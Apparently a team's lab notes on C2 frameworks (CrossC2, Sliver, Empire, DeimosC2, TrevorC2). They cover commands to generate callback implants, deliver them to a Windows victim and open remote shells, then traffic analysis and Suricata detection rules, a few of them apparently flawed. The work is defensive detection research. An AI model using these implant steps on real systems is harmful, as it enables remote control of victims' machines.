【组内工作】木马回联

文章目录

  • C2服务器安装和运行方法
    • CrossC2运行方法
    • sliver运行方法
    • empire安装方法
    • DeimosC2安装教程
    • TrevorC2安装教程:
  • C2服务器的流量特征
    • CrossC2
      • 1. 心跳包
      • 2. 命令
      • 3. ja3/ja3s
    • Sliver
      • 1. http
      • 2. https
    • empire
      • http
      • https
    • DeimosC2
      • https
    • TrevorC2

C2服务器安装和运行方法

CrossC2运行方法

注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137

cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)

  • 在cs服务器192.168.230.137上:

    1. 打开一个终端,输入:
      sudo su
      ./teamserver 192.168.230.137 123456
  • 在攻击者192.168.230.137上:

    1. 再打开一个终端,输入:
      ./cobaltstrike

    2. 设置监听器,https的

    3. 导入插件,cna文件

    4. 生成payload

    5. 将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上

  • 在受害者192.168.230.143上:
    ./t_cc2.out

  • 在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143

sliver运行方法

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.137上:
    ./sliver-server_linux
    new-operator --name qinjian --lhost 192.168.230.137 //只用执行第一次
    multiplayer

  • 在攻击者192.168.230.138上:
    将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
    ./sliver-client_linux import qinjian_192.168.230.137.cfg //只用执行第一次
    ./sliver-client_linux

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    generate --mtls 192.168.230.137 --save test.exe --os Windows //生成shell
    mtls //开启mtls协议监听
    implants //查看生成过的shell
    jobs //查看进程

  • 将生成的shell文件test.exe放到windows受害者上,并运行
    双击test.exe

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    sessions //查看会话
    sessions -i id //进入会话 sessions -k id //结束会话
    shell --shell-path "C:\\windows\system32\cmd.exe" //进入交互式shell
    exit //退出

  • 在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143

empire安装方法

注意这里cs服务器和攻击者是同一台机器

cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.138上运行:
    ./ps-empire server

  • 在攻击者192.168.230.138上运行:
    ./ps-empire client

  • 设置监听器:
    uselistener [tap键选择监听器类型]
    set Name [监听器名称]
    set Port [端口号]
    execute
    listeners //查看设置的监听器
    kill [监听器Name] //删除监听器

  • 设置后门:
    usestager [tap键选择后门类型]
    set Listener [监听器Name]
    set OutFile [后门文件,例如launcher.bat] //可写可不写,默认就是set OutFile launcher.bat
    execute

  • 将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件

  • 在攻击者192.168.230.138上运行:
    agents //查看获取的代理会话
    shell whoami //执行命令

DeimosC2安装教程

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • cs服务器上运行:
    ./DeimosC2

  • 攻击者上:
    登录https://192.168.230.137:8443
    用户名:qinjian
    密码:qinjian1030
    add listener – 地址设为192.168.230.137
    下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到

  • 受害者上:
    运行下载的agents

TrevorC2安装教程:

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

sudo su
conda create -n py37 python=3.7(只第一次需要运行)
conda activate py37

  • 在cs服务器上运行:
    目录:SecistSploit
    sudo su
    conda activate py37
    python SSF.py
    use listener/trevorc2
    show options
    set lhost [本机ip] // 设置当前ip
    set target 2 // 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
    run // 生成agent文件

    list // 查看受害者主机
    interact 1 // 与受害者主机交互

  • 在受害者上运行生成的agent文件

C2服务器的流量特征

CrossC2

1. 心跳包

在这里插入图片描述
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )

实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)

2. 命令

  1. 执行命令时与平时的心跳包不太一样,会多传一些数据:
    在这里插入图片描述

  2. 并且加密数据是以00 00 00 00 00 00 00 02开头的
    在这里插入图片描述

    suricata规则:alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)

3. ja3/ja3s

ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)

ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)

Sliver

1. http

  • 独特的头部特定标识 / 特定的请求响应模式(html)

    观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。

    • .woff = Stagers(默认不使用)
    • .js = Long poll messages(长消息轮询,加密交互数据)
    • .html = Key exchange messages (密钥交换,set-cookie)
    • .php = Session messages
    • .png = Close session messages(关闭会话)

    随机路径生成的方法:
    在这里插入图片描述
    请求包的特征:

    1. 方法:POST/GET
    2. path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
    3. 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
    4. 文件后缀:.woff、.js、.html、.php、.png
    5. 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
    6. nonce值的长度为1到10位,包含数字和小写字母与下划线。

    综上,写出的suricata规则为:

    .woffalert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

    .jsalert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

    .phpalert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

    .pngalert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

2. https

  • ja3(s)加密指纹特征:

    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)

empire

http

https

DeimosC2

https

  • tls版本1.2/1.3
    在这里插入图片描述

  • https端口号:C2服务器默认为4443(不过可以修改)

  • ja3(s)加密指纹特征
    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)(和sliver一样)
    在这里插入图片描述
    在这里插入图片描述

TrevorC2

  • 心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
    在这里插入图片描述
    在这里插入图片描述

  • 受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
    在这里插入图片描述
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
    check_port.lua代码:

    function init(args)-- 这里可以执行一些初始化操作local rules = {}return rules
    endfunction check_port(pkt, data)if not pkt.is_http or not pkt.is_request thenreturn 0endlocal src_port = pkt.src_portlocal prev_src_port = pkt.prev_pkt.src_portif src_port ~= prev_src_port + 1 thenreturn 1endreturn 0
    end
  • 交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/12118.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iperf3 编译安装及网讯WX1860千兆网口测试

iperf3 编译安装及网讯1860千兆网口测试 编译安装 安装包下载地址:https://github.com/esnet/iperf/archive/refs/tags/3.8.tar.gz 将安装包iperf-3.8.tar.gz拷贝测试系统盘桌面,使用如下命令进行编译安装: tar zxvf iperf-3.8.tar.gz cd iperf-3.8 ./configure make s…

HDFS基本操作命令

这里写目录标题 HDFS Shell CLI客户端说明常用命令hadoop fs -mkdir [-p] <path>hadoop fs -ls [-h] [-R] [<path>...]上传文件到指定目录下方法一:hadoop fs -put [-f] [-p] <localsrc>.....<dst>方法二&#xff1a;hadoop fs -moveFromLocal <loc…

Vue源码学习 - 异步更新队列 和 nextTick原理

目录 前言一、Vue异步更新队列二、nextTick 用法三、原理分析四、nextTick 源码解析1&#xff09;环境判断2&#xff09;nextTick() 五、补充 前言 在我们使用Vue的过程中&#xff0c;基本大部分的 watcher 更新都需要经过 异步更新 的处理。而 nextTick 则是异步更新的核心。…

MacOS本地安装Hadoop3

金翅大鹏盖世英&#xff0c;展翅金鹏盖世雄。 穿云燕子锡今鸽&#xff0c;踏雪无痕花云平。 ---------------- 本文密钥&#xff1a;338 ----------------- 本文描述了在macbook pro的macos上安装hadoop3的过程&#xff0c;也可以作为在任何类linux平台上安装hadoop3借鉴。 …

4、Linux驱动开发:设备-设备号设备号注册

目录 &#x1f345;点击这里查看所有博文 随着自己工作的进行&#xff0c;接触到的技术栈也越来越多。给我一个很直观的感受就是&#xff0c;某一项技术/经验在刚开始接触的时候都记得很清楚。往往过了几个月都会忘记的差不多了&#xff0c;只有经常会用到的东西才有可能真正记…

Verilog语法学习——LV2_异步复位的串联T触发器

LV2_异步复位的串联T触发器 题目来源于牛客网 [牛客网在线编程_Verilog篇_Verilog快速入门 (nowcoder.com)](https://www.nowcoder.com/exam/oj?page1&tabVerilog篇&topicId301) 题目 题目描述&#xff1a; 用verilog实现两个串联的异步复位的T触发器的逻辑&#x…

【LeetCode】141.环形链表

题目 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置&#…

opencv-22 图像几何变换01-缩放-cv2.resize()(图像增强,图像变形,图像拼接)

什么是几何变换&#xff1f; 几何变换是计算机图形学中的一种图像处理技术&#xff0c;用于对图像进行空间上的变换&#xff0c;而不改变图像的内容。这些变换可以通过对图像中的像素位置进行调整来实现。 常见的几何变换包括&#xff1a; 平移&#xff08;Translation&#x…

STM32MP157驱动开发——按键驱动(tasklet)

文章目录 “tasklet”机制&#xff1a;内核函数定义 tasklet使能/ 禁止 tasklet调度 tasklet删除 tasklet tasklet软中断方式的按键驱动程序(stm32mp157)tasklet使用方法&#xff1a;button_test.cgpio_key_drv.cMakefile修改设备树文件编译测试 “tasklet”机制&#xff1a; …

【Ansible】Ansible自动化运维工具之playbook剧本

playbook 一、playbook 的概述1. playbook 的概念2. playbook 的构成 二、playbook 的应用1. 安装 httpd 并启动2. 定义、引用变量3. 指定远程主机 sudo 切换用户4. when条件判断5. 迭代6. Templates 模块6.1 添加模板文件6.2 修改主机清单文件6.3 编写 playbook 7. tags 模块 …

vue权限按钮的实现

鉴权函数 由于下面几种方式都需要用到鉴权函数&#xff0c;所以将其放置在组件外面&#xff0c;供组件或其他文件调用。 // src/utils/hasPermission.jsimport { usePermissionStore } from /stores import array from lodash/array export const hasPermission (value, def…

EXCEL,如何比较2个表里的数据差异(使用数据透视表)

目录 1 问题: 需要比较如下2个表的内容差异 1.1 原始数据喝问题 1.2 提前总结 2 使用EXCEL公式方法 2.1 新增辅助列&#xff1a; 辅助index 2.2 具体公式 配合条件格式 使用 3 数据透视表方法 3.1 新增辅助列&#xff1a; 辅助index 3.2 需要先打开 数据透视表向导 …

Ubuntu 20.04 Ubuntu18.04安装录屏软件Kazam

1.在Ubuntu Software里面输入Kazam&#xff0c;就可以找不到这个软件&#xff0c;直接点击install就可以了 2.使用方法&#xff1a; 选择Screencast&#xff08;录屏&#xff09; Fullscreen&#xff08;全屏&#xff09;-----Windows&#xff08;窗口&#xff09;--------Ar…

20.3 HTML表格

1. table表格 table标签是HTML中用来创建表格的元素. table标签通常包含以下子标签: - th标签: 表示表格的表头单元格(table header), 用于描述列的标题. - tr标签: 表示表格的行(table row). - td标签: 表示表格的单元格(table data), 通常位于tr标签内, 用于放置单元格中的…

数据结构之动态顺序表(附带完整程序)

&#x1f388;基本概念 &#x1f308;一.线性表、顺序表的定义 ☀️&#xff08;1&#xff09;线性表&#xff1a; 是n个具有相同特性的数据元素的有限序列。线性表在逻辑上是线性结构&#xff0c;但在物理上存储时&#xff0c;通常以数组和链式结构的形式存储。 ☀️&…

c# 此程序集中已使用了资源标识符

严重性 代码 说明 项目 文件 行 禁止显示状态 错误 CS1508 此程序集中已使用了资源标识符“BMap.NET.WindowsForm.BMapControl.resources” BMap.NET.WindowsForm D:\MySource\Decompile\BMap.NET.WindowsForm\CSC 1 活动 运行程序时&a…

Mock-MOCO使用过程

一、jar包下载&#xff1a;https://github.com/dreamhead/moco 二、准备mock的json文件 data.json内容&#xff1a; ####GET请求 [{"description": "response使用Content-Type为charsetGBK编码格式来查看返回信息为中文的内容","request": {&q…

《Elasticsearch 源码解析与优化实战》第5章:选主流程

《Elasticsearch 源码解析与优化实战》第5章&#xff1a;选主流程 - 墨天轮 一、简介 Discovery 模块负责发现集群中的节点&#xff0c;以及选择主节点。ES 支持多种不同 Discovery 类型选择&#xff0c;内置的实现称为Zen Discovery ,其他的包括公有云平台亚马逊的EC2、谷歌…

Ansible单yaml文件部署Zabbix5.0监控平台

文章目录 Ansible单yaml文件部署Zabbix5.0监控平台节点规划案例实施基础环境准备编写剧本文件ZabbixWeb界面(1)改中文(2)添加监控主机 Ansible单yaml文件部署Zabbix5.0监控平台 节点规划 IP主机名节点192.168.200.10ansibleAnsible节点192.168.200.20zabbix-serverZabbix-ser…

深度学习入门(一):神经网络基础

一、深度学习概念 1、定义 通过训练多层网络结构对位置数据进行分类或回归&#xff0c;深度学习解决特征工程问题。 2、深度学习应用 图像处理语言识别自然语言处理 在移动端不太好&#xff0c;计算量太大了&#xff0c;速度可能会慢 eg.医学应用、自动上色 3、例子 使用…